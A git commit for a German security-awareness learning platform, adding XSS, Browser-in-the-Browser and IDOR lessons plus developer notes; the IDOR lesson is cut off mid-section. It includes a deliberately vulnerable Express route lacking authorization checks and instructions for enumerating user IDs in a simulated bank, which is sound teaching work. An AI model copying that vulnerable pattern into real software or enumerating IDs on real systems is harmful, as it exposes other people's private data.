Add lessons

This commit is contained in:
Marius Rometsch 2026-02-08 19:47:21 +01:00
parent 0068785924
commit a439873394
52 changed files with 9049 additions and 997 deletions

22
RESET_DATABASE.sh Executable file
View File

@ -0,0 +1,22 @@
#!/bin/bash
echo "🗑️ Stopping containers..."
sudo docker compose down
echo "🗑️ Removing PostgreSQL volume..."
sudo docker volume rm medienkompetenz-lernplattform_postgres_data
echo "🚀 Starting containers with fresh database..."
sudo docker compose up -d
echo "⏳ Waiting for database to initialize (20 seconds)..."
sleep 20
echo "✅ Database has been reset and reseeded!"
echo ""
echo "Verify with:"
echo " sudo docker compose exec database psql -U lernplattform_user -d lernplattform -c \"SELECT lesson_key, title FROM lessons;\""
echo ""
echo "Check logs:"
echo " sudo docker compose logs database"
echo " sudo docker compose logs backend"

161
XSS_ENHANCEMENTS.md Normal file
View File

@ -0,0 +1,161 @@
# XSS Lesson Enhancements - Implementation Summary
## Features Implemented
### Backend (✅ Complete)
**File:** `/backend/lessons/modules/xss-comprehensive/index.js`
1. **Variant Discovery Tracking**
- Tracks 9 unique XSS variants per participant
- Returns progress: `{ discovered: X, total: 9, remaining: Y }`
- Variants: Script Tag, Event Handlers (quoted/unquoted), JavaScript Protocol, IFrame, Image Error, SVG Onload, Object, Embed
2. **Timer System**
- 15-minute countdown per interactive step
- `startStepTimer()` - Initializes timer when step starts
- `isTimeExpired()` - Checks if time limit exceeded
- `getRemainingTime()` - Returns milliseconds remaining
- `canEarnPoints: false` after time expires
3. **Hint System**
- Progressive hints (4 levels per step)
- 5 points deducted per hint requested
- `getHint(participantId, stepId, level)` returns hint text and penalty
- Tracks hints used per participant per step
4. **Free Hints**
- Provided in `getInteractiveData()` without penalty
- General guidance hints displayed at start
### Frontend (🚧 Needs Implementation)
#### Components to Update:
1. **XSSDeeplinkDemo.jsx** - Reflected XSS demo
2. **ForumScriptDemo.jsx** - Stored XSS demo
3. **LessonView.jsx** - Lock previous button after interactive steps
#### Required Features:
**1. Remove Example Buttons**
- ❌ Remove `examples.map()` button rendering
- ❌ Remove `loadExample()` function
- Students must discover payloads themselves
**2. Add Progress Tracker**
```jsx
<div>
<h4>🎯 Fortschritt</h4>
<p>{progress.discovered} von {progress.total} Varianten entdeckt</p>
<ProgressBar value={progress.discovered} max={progress.total} />
</div>
```
**3. Add Timer Display**
```jsx
const [remainingTime, setRemainingTime] = useState(900000); // 15 min
useEffect(() => {
const timer = setInterval(() => {
setRemainingTime(prev => Math.max(0, prev - 1000));
}, 1000);
return () => clearInterval(timer);
}, []);
<div>
⏱️ Verbleibende Zeit: {formatTime(remainingTime)}
{remainingTime === 0 && <span>⚠️ Keine Punkte mehr verfügbar</span>}
</div>
```
**4. Add Free Hints Display**
```jsx
<div className="free-hints">
<h4>💡 Hinweise (kostenlos)</h4>
{freeHints.map((hint, i) => (
<li key={i}>{hint}</li>
))}
</div>
```
**5. Add Hint Request Button**
```jsx
<button onClick={requestHint}>
💡 Hinweis anfordern (-5 Punkte)
</button>
{currentHint && (
<div className="paid-hint">
<p>{currentHint.hint}</p>
<small>Hinweise verwendet: {currentHint.hintsUsed} | Abzug: {currentHint.totalPointsDeducted} Punkte</small>
</div>
)}
```
**6. Start Timer on Mount**
```jsx
useEffect(() => {
participantAPI.executeLessonAction(eventLessonId, 'start-timer', {
stepId: 'xss-demo'
});
}, []);
```
**7. Lock Previous Button (LessonView.jsx)**
```jsx
const [completedInteractive, setCompletedInteractive] = useState(false);
// After interactive step
if (currentStep.type === 'interactive' && !completedInteractive) {
setCompletedInteractive(true);
}
<button
onClick={() => setCurrentStepIndex(i => i - 1)}
disabled={completedInteractive}
>
← Zurück {completedInteractive && '(Gesperrt)'}
</button>
```
## API Endpoints to Add
The backend module methods need to be exposed via `executeLessonAction`:
### In lesson controller (already supports executeLessonAction):
```javascript
// Actions to handle:
- 'start-timer' → module.startStepTimer(participantId, stepId)
- 'get-hint' → module.getHint(participantId, stepId)
- 'test-xss' → module.testXSSPayload(participantId, payload, stepId)
- 'add-comment' → module.addComment(participantId, author, content, stepId)
```
## Testing Steps
1. ✅ Backend module created with all tracking
2. ⏳ Rebuild backend container
3. ⏳ Update XSSDeeplinkDemo.jsx
4. ⏳ Update ForumScriptDemo.jsx
5. ⏳ Update LessonView.jsx
6. ⏳ Rebuild frontend container
7. ⏳ Test in browser:
- Timer counts down
- Progress updates when discovering variants
- Hints work with point deduction
- Free hints visible
- Previous button locks after interactive step
## File Locations
- Backend: `/backend/lessons/modules/xss-comprehensive/index.js`
- Frontend Demos:
- `/frontend/src/components/lessons/InteractiveContent/XSSDeeplinkDemo.jsx`
- `/frontend/src/components/lessons/InteractiveContent/ForumScriptDemo.jsx`
- Lesson View: `/frontend/src/pages/LessonView.jsx`
## Next Steps
1. Update controller to expose hint and timer endpoints
2. Implement frontend components with new UI
3. Test complete workflow
4. Verify point deductions work correctly
5. Confirm timer enforcement

128
XSS_LESSON_MERGE.md Normal file
View File

@ -0,0 +1,128 @@
# XSS Lessons Merge - Summary
## Changes Made
Successfully combined the two XSS lessons into a single comprehensive lesson:
### New Files Created
1. **Backend Config:**
- `/backend/lessons/configs/xss-comprehensive.yaml`
- Combines content from both `xss-deeplink-demo.yaml` and `script-injection-forum.yaml`
- Duration: 35 minutes (combined from 20 + 25)
- Total points: 100 (distributed across 4 questions)
2. **Backend Module:**
- `/backend/lessons/modules/xss-comprehensive/index.js`
- Merges functionality from both XSS modules
- Handles both interactive components:
- `testXSSPayload()` for reflected XSS demo (XSSDeeplinkDemo)
- `addComment()` for stored XSS demo (ForumScriptDemo)
### Lesson Structure
The combined lesson flows as follows:
1. **Introduction** - What is XSS? (covers both reflected and stored)
2. **Reflected XSS** - URL parameter injection explanation
3. **Interactive Demo 1** - XSSDeeplinkDemo (reflected XSS)
4. **Question 1** - Multiple choice (25 pts): Identify reflected XSS payloads
5. **Stored XSS** - Persistent attacks explanation
6. **Real-World Examples** - Samy Worm, TweetDeck, eBay, British Airways
7. **Interactive Demo 2** - ForumScriptDemo (stored XSS)
8. **Question 2** - Multiple choice (25 pts): Identify stored XSS payloads
9. **Attack Vectors** - Common XSS techniques
10. **Question 3** - Single choice (30 pts): Why stored XSS is more dangerous
11. **Prevention** - Defense-in-depth approach
12. **Question 4** - Single choice (20 pts): Most effective prevention method
### Content Removed
✅ **Free text questions removed:**
- Old Question 3 from xss-deeplink-demo (30 pts)
- Old Question 3 from script-injection-forum (30 pts)
✅ **Developer-specific content removed:**
- Framework security features (React, Angular, Vue)
- Dangerous functions to avoid (dangerouslySetInnerHTML, bypassSecurityTrust, v-html)
- Framework-specific implementation details
### Content Retained
✅ **User-focused prevention techniques:**
- Output encoding (HTML, JavaScript, URL, CSS contexts)
- Content Security Policy (CSP)
- Input validation
- HTTPOnly and Secure cookies
- Web Application Firewall (WAF)
- Regular security audits
## Old Files
The following files are now **deprecated** but kept for reference:
- `/backend/lessons/configs/xss-deeplink-demo.yaml` (deprecated)
- `/backend/lessons/configs/script-injection-forum.yaml` (deprecated)
- `/backend/lessons/modules/xss-deeplink-demo/index.js` (deprecated)
- `/backend/lessons/modules/script-injection-forum/index.js` (deprecated)
**Note:** The frontend components are still used and should NOT be removed:
- `/frontend/src/components/lessons/InteractiveContent/XSSDeeplinkDemo.jsx` (ACTIVE)
- `/frontend/src/components/lessons/InteractiveContent/ForumScriptDemo.jsx` (ACTIVE)
## How to Use the New Lesson
### 1. Add to Database
If you have a seed script, add the new lesson:
```javascript
// In your seed script
const xssComprehensive = await Lesson.create({
lessonKey: 'xss-comprehensive',
title: 'Cross-Site Scripting (XSS) - Reflected & Stored Angriffe',
description: 'Lernen Sie, wie XSS-Angriffe durch URL-Manipulation und benutzergenerierte Inhalte funktionieren und wie man sie erkennt',
difficultyLevel: 'intermediate',
estimatedDuration: 35,
configPath: 'backend/lessons/configs/xss-comprehensive.yaml',
modulePath: 'backend/lessons/modules/xss-comprehensive'
});
```
### 2. Remove Old Lessons (Optional)
If desired, you can remove the old separate XSS lessons from the database:
```sql
-- Mark old lessons as inactive or delete them
UPDATE lessons SET is_active = false
WHERE lesson_key IN ('xss-deeplink-demo', 'script-injection-forum');
```
### 3. Assign to Events
The new comprehensive lesson can now be assigned to events just like any other lesson.
## Testing Checklist
- [ ] Backend module loads correctly
- [ ] XSSDeeplinkDemo interactive component works
- [ ] ForumScriptDemo interactive component works
- [ ] All 4 questions validate correctly
- [ ] Scoring totals to 100 points
- [ ] 70% passing score works (70 out of 100)
- [ ] No developer-specific content visible to users
- [ ] No free text questions present
- [ ] All content is in German
## Point Distribution
| Question | Type | Points | Topic |
|----------|------|--------|-------|
| Q1 | Multiple Choice | 25 | Identify reflected XSS payloads |
| Q2 | Multiple Choice | 25 | Identify stored XSS payloads |
| Q3 | Single Choice | 30 | Why stored XSS is more dangerous |
| Q4 | Single Choice | 20 | Most effective prevention method |
| **Total** | | **100** | |
**Passing Score:** 70 points (70%)

View File

@ -1,6 +1,6 @@
lessonKey: "browser-in-browser-attack"
title: "Browser-in-the-Browser (BitB) Attack"
description: "Learn to identify sophisticated phishing attacks that mimic legitimate browser windows"
title: "Browser-in-the-Browser (BitB) Angriff"
description: "Lernen Sie, ausgeklügelte Phishing-Angriffe zu erkennen, die legitime Browserfenster nachahmen"
difficultyLevel: "advanced"
estimatedDuration: 25
module: "browser-in-browser-attack"
@ -8,167 +8,153 @@ module: "browser-in-browser-attack"
steps:
- id: "intro"
type: "content"
title: "What is Browser-in-the-Browser?"
title: "Was ist Browser-in-the-Browser?"
content: |
Browser-in-the-Browser (BitB) is an advanced phishing technique that creates a fake browser window inside a webpage. It's designed to trick users into thinking they're interacting with a legitimate OAuth/SSO login popup.
Browser-in-the-Browser (BitB) ist eine fortgeschrittene Phishing-Technik, die ein gefälschtes Browserfenster innerhalb einer Webseite erstellt. Sie ist darauf ausgelegt, Benutzer dazu zu bringen, zu glauben, sie würden mit einem legitimen OAuth/SSO-Login-Popup interagieren.
Why it's dangerous:
Looks identical to real browser popup windows
Shows a fake address bar with HTTPS lock icon
Mimics trusted services (Google, Microsoft, Facebook)
Can steal credentials even from security-aware users
Bypasses traditional phishing detection
Warum es gefährlich ist:
Sieht identisch aus wie echte Browser-Popup-Fenster
Zeigt eine gefälschte Adressleiste mit HTTPS-Schloss-Symbol
Imitiert vertrauenswürdige Dienste (Google, Microsoft, Facebook)
Kann Anmeldedaten auch von sicherheitsbewussten Benutzern stehlen
Umgeht traditionelle Phishing-Erkennung
This attack gained prominence in 2022 and has been used in targeted attacks against organizations.
Dieser Angriff wurde 2022 bekannt und wurde in gezielten Angriffen gegen Organisationen eingesetzt.
- id: "how-it-works"
type: "content"
title: "How the Attack Works"
title: "Wie der Angriff funktioniert"
content: |
Traditional OAuth Flow:
1. User clicks "Sign in with Google" on a website
2. Browser opens a REAL popup to google.com
3. User enters credentials on Google's actual site
4. Google redirects back with authentication token
Traditioneller OAuth-Ablauf:
1. Benutzer klickt auf "Mit Google anmelden" auf einer Website
2. Browser öffnet ein ECHTES Popup zu google.com
3. Benutzer gibt Anmeldedaten auf der tatsächlichen Google-Seite ein
4. Google leitet mit Authentifizierungstoken zurück
BitB Attack Flow:
1. User clicks "Sign in with Google" on malicious site
2. Site creates a FAKE popup using HTML/CSS/JavaScript
3. Fake popup shows fake address bar displaying "accounts.google.com"
4. User enters credentials on attacker's fake page
5. Attacker captures credentials and simulates success
BitB-Angriff-Ablauf:
1. Benutzer klickt auf "Mit Google anmelden" auf bösartiger Seite
2. Seite erstellt ein GEFÄLSCHTES Popup mit HTML/CSS/JavaScript
3. Gefälschtes Popup zeigt gefälschte Adressleiste mit "accounts.google.com"
4. Benutzer gibt Anmeldedaten auf der gefälschten Seite des Angreifers ein
5. Angreifer erfasst Anmeldedaten und simuliert Erfolg
The entire "browser window" is actually just HTML elements styled to look like a browser!
Das gesamte "Browserfenster" ist eigentlich nur HTML-Elemente, die so gestaltet sind, dass sie wie ein Browser aussehen!
- id: "bitb-demo"
type: "interactive"
title: "Interactive BitB Demo"
title: "Interaktive BitB-Demo"
interactiveComponent: "BitBDemo"
content: |
Below you'll see two login scenarios. One uses a REAL browser popup (secure), and one uses a BitB attack (malicious).
Unten sehen Sie zwei Login-Szenarien. Eines verwendet ein ECHTES Browser-Popup (sicher), und eines verwendet einen BitB-Angriff (bösartig).
Can you identify the fake? Pay close attention to the details!
Können Sie die Fälschung erkennen? Achten Sie genau auf die Details!
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "What are the key indicators that can help identify a Browser-in-the-Browser attack?"
question: "Was sind die wichtigsten Indikatoren, die helfen können, einen Browser-in-the-Browser-Angriff zu erkennen?"
options:
- id: "https-lock"
text: "The presence of HTTPS and a lock icon in the address bar"
text: "Das Vorhandensein von HTTPS und einem Schloss-Symbol in der Adressleiste"
isCorrect: false
points: 0
- id: "window-behavior"
text: "The popup window cannot be dragged outside the main browser window"
text: "Das Popup-Fenster kann nicht außerhalb des Hauptbrowserfensters gezogen werden"
isCorrect: true
points: 20
- id: "inspect-element"
text: "Right-clicking allows you to 'Inspect Element' on the address bar"
text: "Rechtsklick ermöglicht 'Element untersuchen' auf der Adressleiste"
isCorrect: true
points: 20
- id: "domain-name"
text: "The domain name shown in the address bar"
text: "Der in der Adressleiste angezeigte Domainname"
isCorrect: false
points: 0
maxPoints: 40
feedback:
correct: "Excellent! Real browser windows can be moved anywhere and their UI cannot be inspected as HTML elements."
incorrect: "Think about what differentiates a real browser window from HTML/CSS elements on a webpage. The lock icon and domain can both be faked!"
correct: "Ausgezeichnet! Echte Browserfenster können überall hin bewegt werden und ihre Benutzeroberfläche kann nicht als HTML-Elemente untersucht werden."
incorrect: "Denken Sie darüber nach, was ein echtes Browserfenster von HTML/CSS-Elementen auf einer Webseite unterscheidet. Das Schloss-Symbol und die Domain können beide gefälscht werden!"
- id: "detection-techniques"
type: "content"
title: "Detecting BitB Attacks"
title: "BitB-Angriffe erkennen"
content: |
How to spot a Browser-in-the-Browser attack:
Wie man einen Browser-in-the-Browser-Angriff erkennt:
1. **Try to Drag the Window**
Real popups can be dragged outside the browser
Fake popups are trapped within the main window
1. **Versuchen Sie, das Fenster zu ziehen**
Echte Popups können außerhalb des Browsers gezogen werden
Gefälschte Popups sind im Hauptfenster gefangen
2. **Check if Address Bar is Selectable**
Real address bars: text is selectable
Fake address bars: usually just an image or styled div
2. **Prüfen Sie, ob die Adressleiste auswählbar ist**
Echte Adressleisten: Text ist auswählbar
Gefälschte Adressleisten: normalerweise nur ein Bild oder gestyltes div
3. **Right-Click the Address Bar**
Real browser: no "Inspect Element" option
Fake browser: shows HTML inspection menu
3. **Klicken Sie mit der rechten Maustaste auf die Adressleiste**
Echter Browser: keine "Element untersuchen"-Option
Gefälschter Browser: zeigt HTML-Inspektionsmenü
4. **Look for Pixel-Perfect Details**
Fake windows may have slight styling differences
• Shadow effects, fonts, or spacing might be off
4. **Achten Sie auf pixelgenaue Details**
Gefälschte Fenster können leichte Styling-Unterschiede haben
• Schatteneffekte, Schriftarten oder Abstände könnten abweichen
5. **Check Your Browser's Task Bar**
Real popups appear as separate windows in taskbar
Fake popups don't create new window entries
5. **Überprüfen Sie die Taskleiste Ihres Browsers**
Echte Popups erscheinen als separate Fenster in der Taskleiste
Gefälschte Popups erstellen keine neuen Fenstereinträge
6. **Use Browser Extensions**
Some extensions can detect fake browser UI
6. **Verwenden Sie Browser-Erweiterungen**
Einige Erweiterungen können gefälschte Browser-Benutzeroberflächen erkennen
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "A website asks you to 'Sign in with Microsoft' and a popup appears. What is the SAFEST approach?"
question: "Eine Website fordert Sie auf, sich 'Mit Microsoft anmelden' und ein Popup erscheint. Was ist der SICHERSTE Ansatz?"
options:
- id: "trust-https"
text: "Check for HTTPS in the address bar and proceed if present"
text: "In der Adressleiste nach HTTPS suchen und fortfahren, wenn vorhanden"
isCorrect: false
points: 0
- id: "test-window"
text: "Try to drag the popup outside the browser window to verify it's real"
text: "Versuchen, das Popup außerhalb des Browserfensters zu ziehen, um zu überprüfen, ob es echt ist"
isCorrect: true
points: 35
- id: "check-domain"
text: "Carefully read the domain name to ensure it's Microsoft's real domain"
text: "Den Domainnamen sorgfältig lesen, um sicherzustellen, dass es Microsofts echte Domain ist"
isCorrect: false
points: 0
- id: "close-and-manual"
text: "Close the popup and manually navigate to Microsoft's site"
text: "Das Popup schließen und manuell zur Microsoft-Seite navigieren"
isCorrect: false
points: 10
maxPoints: 35
feedback:
correct: "Perfect! Testing if the window can be dragged outside the browser is the most reliable quick check. Though manually navigating is also very safe!"
incorrect: "While checking the domain helps, it can be faked in a BitB attack. The physical behavior of the window (can it be dragged out?) reveals the truth."
correct: "Perfekt! Zu testen, ob das Fenster außerhalb des Browsers gezogen werden kann, ist die zuverlässigste Schnellprüfung. Obwohl manuelle Navigation auch sehr sicher ist!"
incorrect: "Während die Überprüfung der Domain hilft, kann sie bei einem BitB-Angriff gefälscht werden. Das physische Verhalten des Fensters (kann es herausgezogen werden?) offenbart die Wahrheit."
- id: "prevention"
type: "content"
title: "Protecting Against BitB Attacks"
title: "Schutz vor BitB-Angriffen"
content: |
For Users:
Always test if popup windows can be moved freely
Use password managers (they check actual domains)
Enable 2FA/MFA for additional security layer
Be suspicious of unexpected login prompts
Manually navigate to sites instead of clicking links
Für Benutzer:
Testen Sie immer, ob Popup-Fenster frei bewegt werden können
Verwenden Sie Passwort-Manager (sie prüfen tatsächliche Domains)
Aktivieren Sie 2FA/MFA für zusätzliche Sicherheitsebene
Seien Sie misstrauisch bei unerwarteten Login-Aufforderungen
Navigieren Sie manuell zu Seiten, anstatt auf Links zu klicken
For Developers:
Educate users about OAuth popup behavior
Use OAuth redirect flow instead of popups when possible
• Implement additional verification steps
Consider passwordless authentication methods
Show clear security indicators in your app
Für Entwickler:
Schulen Sie Benutzer über OAuth-Popup-Verhalten
Verwenden Sie OAuth-Redirect-Flow statt Popups, wenn möglich
• Implementieren Sie zusätzliche Verifizierungsschritte
Erwägen Sie passwortlose Authentifizierungsmethoden
Zeigen Sie klare Sicherheitsindikatoren in Ihrer App
For Organizations:
• Train employees to recognize advanced phishing
• Deploy anti-phishing browser extensions
• Use hardware security keys (FIDO2/WebAuthn)
• Monitor for suspicious authentication attempts
• Implement conditional access policies
- id: "question-3"
type: "question"
questionType: "free_text"
question: "Why are password managers particularly effective at protecting against BitB attacks?"
validationRules:
keywords:
required: ["domain", "autofill", "real"]
partialCredit: 8
minLength: 40
maxPoints: 25
feedback:
correct: "Excellent! Password managers check the actual domain of the page and won't autofill credentials on fake domains, even if they look legitimate."
incorrect: "Think about how password managers verify which site they're on before filling in credentials. They check the real URL, not what's displayed visually."
Für Organisationen:
• Schulen Sie Mitarbeiter, fortgeschrittenes Phishing zu erkennen
• Setzen Sie Anti-Phishing-Browser-Erweiterungen ein
• Verwenden Sie Hardware-Sicherheitsschlüssel (FIDO2/WebAuthn)
• Überwachen Sie verdächtige Authentifizierungsversuche
• Implementieren Sie bedingte Zugriffsrichtlinien
scoring:
passingScore: 75
maxTotalPoints: 100
passingScore: 55
maxTotalPoints: 75

View File

@ -0,0 +1,426 @@
lessonKey: "idor-demo"
title: "IDOR - Unsichere direkte Objektreferenz"
description: "Erfahre, wie unsichere direkte Objektreferenzen durch URL-Manipulation den unbefugten Zugriff auf Daten anderer Benutzer ermöglichen"
difficultyLevel: "intermediate"
estimatedDuration: 22
module: "idor-demo"
steps:
- id: "intro"
type: "content"
title: "Was ist IDOR?"
content: |
IDOR (Insecure Direct Object Reference - Unsichere direkte Objektreferenz) ist eine Sicherheitslücke, die auftritt, wenn eine Anwendung direkten Zugriff auf Objekte basierend auf vom Benutzer bereitgestellten Eingaben ermöglicht. Wenn die Anwendung nicht ordnungsgemäß überprüft, ob der Benutzer berechtigt ist, auf das angeforderte Objekt zuzugreifen, können Angreifer auf unbefugte Daten zugreifen.
**Wie IDOR funktioniert:**
Eine anfällige URL könnte so aussehen:
https://bank.com/profile?userId=123
Wenn die Anwendung nicht prüft, ob der angemeldete Benutzer auf die Daten von Benutzer 123 zugreifen darf, kann ein Angreifer einfach den Parameter ändern:
https://bank.com/profile?userId=124 ← Zugriff auf die Daten eines anderen Benutzers!
**IDOR in den OWASP Top 10:**
IDOR fällt unter **A01:2021 - Fehlerhafte Zugriffskontrolle**, das kritischste Sicherheitsrisiko für Webanwendungen.
**Häufige IDOR-Ziele:**
• Benutzerprofile und Kontodaten
• Private Nachrichten und E-Mails
• Finanzdaten und Transaktionen
• Medizinische Aufzeichnungen
• Bestellhistorien
• Private Dateien und Dokumente
• Verwaltungsfunktionen
**Warum es gefährlich ist:**
• Einfach auszunutzen (nur einen URL-Parameter ändern)
• Bleibt oft unentdeckt
• Kann sensible persönliche Daten offenlegen
• Kann Datenschutzgesetze verletzen (DSGVO, HIPAA, etc.)
• Kann zu Identitätsdiebstahl führen
• Keine speziellen Werkzeuge erforderlich
- id: "auth-vs-authz"
type: "content"
title: "Authentifizierung vs. Autorisierung"
content: |
Das Verständnis des Unterschieds zwischen Authentifizierung und Autorisierung ist entscheidend zur Verhinderung von IDOR:
**Authentifizierung (AuthN):**
"Wer bist du?"
• Verifiziert die Benutzeridentität
• Verwendet Anmeldedaten (Benutzername/Passwort, Tokens, etc.)
• Bestätigt, dass du die Person bist, für die du dich ausgibst
• Beispiel: Anmeldung in deinem Konto
**Autorisierung (AuthZ):**
"Was darfst du tun?"
• Verifiziert Benutzerberechtigungen
• Prüft, ob du auf bestimmte Ressourcen zugreifen kannst
• Bestimmt, was du sehen oder ändern kannst
• Beispiel: Überprüfung, ob du ein bestimmtes Profil ansehen darfst
**Das IDOR-Problem:**
Viele Anwendungen implementieren Authentifizierung, vergessen aber die Autorisierung!
✅ Benutzer ist authentifiziert (angemeldet)
❌ Anwendung prüft nicht, ob der Benutzer auf diese spezifische Ressource zugreifen darf
= IDOR-Sicherheitslücke
**Analogie aus der realen Welt:**
Authentifizierung = Einen Schlüssel zum Betreten des Gebäudes haben
Autorisierung = Die Erlaubnis haben, bestimmte Räume zu betreten
Bei IDOR hast du einen Schlüssel zum Gebäude (du bist angemeldet), aber die Anwendung prüft nicht, welche Räume du betreten darfst. Du kannst jede Tür öffnen, indem du verschiedene Raumnummern ausprobierst!
**Beispielszenarien:**
**Szenario 1: Soziale Medien**
• Du bist angemeldet (authentifiziert ✅)
• Du versuchst, eine Nachricht anzusehen: /messages/12345
• App prüft nicht, ob Nachricht 12345 dir gehört (keine Autorisierung ❌)
• Du kannst private Nachrichten von jedem lesen, indem du die ID änderst
**Szenario 2: E-Commerce**
• Du bist angemeldet (authentifiziert ✅)
• Du siehst deine Bestellung: /orders/5001
• App überprüft nicht den Bestellbesitz (keine Autorisierung ❌)
• Du kannst die Bestellungen, Adressen und Kaufhistorie von jedem sehen
**Szenario 3: Gesundheitswesen**
• Du bist als Patient angemeldet (authentifiziert ✅)
• Du siehst Laborergebnisse: /results/patient/789
• App prüft nicht, ob du Patient 789 bist (keine Autorisierung ❌)
• Du kannst auf medizinische Aufzeichnungen von jedem zugreifen, indem du die ID änderst
- id: "idor-demo"
type: "interactive"
title: "IDOR-Sicherheitslücken-Demo"
interactiveComponent: "IDORDemo"
content: |
Unten ist eine simulierte Online-Banking-Anwendung mit einer IDOR-Sicherheitslücke. Du bist als "Max Mustermann" (Benutzer-ID 55) angemeldet.
Die Anwendung verwendet einen URL-Parameter zum Abrufen von Benutzerprofilen:
`https://securebank.example/profile?ref=dashboard&userId=55`
**Deine Aufgabe:**
1. Untersuche die URL-Struktur und identifiziere den anfälligen Parameter
2. Versuche, den userId-Parameter zu ändern, um auf andere Benutzer zuzugreifen
3. Beobachte, wie du auf private Informationen zugreifen kannst, die du nicht sehen solltest
4. Finde versteckte Benutzer durch systematisches Testen verschiedener IDs
5. Du hast 5 Minuten Zeit - versuche so viele Benutzer wie möglich zu entdecken!
**Hinweise:**
- Nicht alle IDs existieren - manche Benutzer wurden gelöscht
- Es gibt besondere Belohnungen für bestimmte Entdeckungen
- Achte auf die Entdeckungsanzeige oben
Dies demonstriert, warum Anwendungen Autorisierung überprüfen müssen, nicht nur Authentifizierung.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden URL-Muster deuten auf potenzielle IDOR-Sicherheitslücken hin?"
options:
- id: "user-id-param"
text: "/api/user?id=123"
isCorrect: true
points: 10
- id: "order-id-param"
text: "/orders/view?orderId=5001"
isCorrect: true
points: 10
- id: "document-id-param"
text: "/documents/download/42"
isCorrect: true
points: 10
- id: "session-token"
text: "/profile (verwendet Session-Token im Header)"
isCorrect: false
points: 0
- id: "message-id-param"
text: "/messages/inbox/msg_789"
isCorrect: true
points: 10
maxPoints: 40
feedback:
correct: "Ausgezeichnet! All diese Muster mit direkten Objekt-IDs in URLs oder Parametern sind potenzielle IDOR-Ziele, wenn keine ordnungsgemäße Autorisierung implementiert ist."
partial: "Gut! Du hast einige IDOR-Muster erkannt. Jede URL, die Ressourcen-IDs (Benutzer, Bestellungen, Dokumente, Nachrichten) enthält, benötigt Autorisierungsprüfungen."
incorrect: "Suche nach URLs, die identifizierbare Ressourcen-IDs (Zahlen oder Kennungen) enthalten. Diese benötigen alle eine ordnungsgemäße Autorisierung, um IDOR zu verhindern. Session-Tokens sind sicher, weil sie serverseitig verifiziert werden."
- id: "real-world-impact"
type: "content"
title: "IDOR-Datenlecks in der realen Welt"
content: |
IDOR-Sicherheitslücken haben zu massiven Datenlecks und Datenschutzverletzungen geführt:
**Facebook (2019) - 419 Millionen Datensätze**
• Telefonnummern durch IDOR offengelegt
• Angreifer konnten Benutzer-IDs aufzählen
• Datenbank enthielt Facebook-IDs und Telefonnummern
• Betraf Benutzer weltweit
• Führte zu erheblichen Datenschutzbedenken
**Bumble Dating App (2019)**
• IDOR ermöglichte Zugriff auf jedes Benutzerprofil
• Angreifer konnten private Fotos ansehen
• Konnte auf als "versteckt" markierte Benutzer zugreifen
• Echtzeit-Standortdaten offengelegt
• Profile von 95 Millionen Benutzern erfasst
**Parler Social Network (2021)**
• IDOR in Post- und Benutzer-APIs
• Alle Beiträge waren sequentiell nummeriert
• Angreifer erfassten 70TB Daten
• Enthielt gelöschte Beiträge und Metadaten
• Enthielt GPS-Koordinaten aus Videos
**Verizon (2017)**
• IDOR legte 14 Millionen Kundendatensätze offen
• Kontodetails, Telefonnummern und PINs
• Einfache Parametermanipulation
• Ohne Authentifizierung zugänglich
• Benötigte 6 Monate zur Entdeckung
**USPS Informed Visibility (2018)**
• IDOR legte 60 Millionen Benutzer offen
• E-Mail-Adressen, Telefonnummern und Adressen
• Mailingkampagnendaten
• Kontodetails und Präferenzen
• Wildcard-Suchsicherheitslücke
**PizzaHut Australia (2020)**
• IDOR in Bestell-API
• Kundennamen, Adressen und Bestellhistorie
• Kreditkartendetails (teilweise)
• Lieferanweisungen
• Telefonnummern
**Auswirkungsstatistiken:**
• IDOR erscheint in ~15% aller Webanwendungen
• Durchschnittliche Kosten eines IDOR-Lecks: 3,86 Millionen Dollar
• Durchschnittliche Zeit zur Entdeckung: 197 Tage
• Durchschnittliche Zeit zur Eindämmung: 69 Tage
• 60% der Organisationen erlebten IDOR in den letzten 2 Jahren
**Rechtliche Konsequenzen:**
• DSGVO-Strafen bis zu 20 Millionen Euro oder 4% des Umsatzes
• CCPA-Strafen bis zu 7.500 Dollar pro Verstoß
• Sammelklagen von betroffenen Benutzern
• Verlust von Kundenvertrauen und Reputation
• Behördliche Untersuchungen
• Verpflichtende Benachrichtigungen über Datenlecks
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "Was ist der BESTE Weg, um IDOR-Sicherheitslücken zu verhindern?"
options:
- id: "hide-ids"
text: "Alle Objekt-IDs in URLs verstecken oder verschlüsseln"
isCorrect: false
points: 0
- id: "session-check"
text: "Überprüfen, dass der authentifizierte Benutzer die Berechtigung hat, auf die angeforderte Ressource zuzugreifen"
isCorrect: true
points: 30
- id: "rate-limiting"
text: "Rate-Limiting implementieren, um ID-Aufzählung zu verhindern"
isCorrect: false
points: 0
- id: "complex-ids"
text: "Komplexe, zufällige IDs anstelle von sequentiellen Nummern verwenden"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Perfekt! Ordnungsgemäße Autorisierungsprüfungen sind unerlässlich. Jede Anfrage muss überprüfen, ob der Benutzer die Berechtigung hat, auf die spezifische Ressource zuzugreifen, unabhängig davon, wie die ID formatiert ist."
incorrect: "Obwohl Verschleierung und Rate-Limiting helfen können, lösen sie nicht das Grundproblem. Die Anwendung MUSS überprüfen, dass der authentifizierte Benutzer die Autorisierung hat, auf jede spezifische Ressource zuzugreifen, bevor sie zurückgegeben wird."
- id: "secure-design"
type: "content"
title: "Sichere Designmuster"
content: |
**IDOR verhindern: Best Practices**
**1. Zugriffskontrollprüfungen implementieren**
Jeder Ressourcenzugriff muss die Autorisierung überprüfen:
// ❌ ANFÄLLIG - Keine Autorisierungsprüfung
app.get('/api/profile/:userId', authenticate, (req, res) => {
const user = db.getUserById(req.params.userId);
res.json(user); // Gibt die Daten eines beliebigen Benutzers zurück!
});
// ✅ SICHER - Ordnungsgemäße Autorisierung
app.get('/api/profile/:userId', authenticate, (req, res) => {
const requestedUserId = req.params.userId;
const currentUserId = req.session.userId;
// Prüfen, ob Benutzer Berechtigung hat
if (requestedUserId !== currentUserId && !req.session.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = db.getUserById(requestedUserId);
res.json(user);
});
**2. Indirekte Referenzen verwenden**
Datenbank-IDs nicht direkt offenlegen:
// ❌ Direkte Referenz auf Datenbank-ID
GET /api/messages/12345
// ✅ Indirekte Referenz durch Benutzerkontext
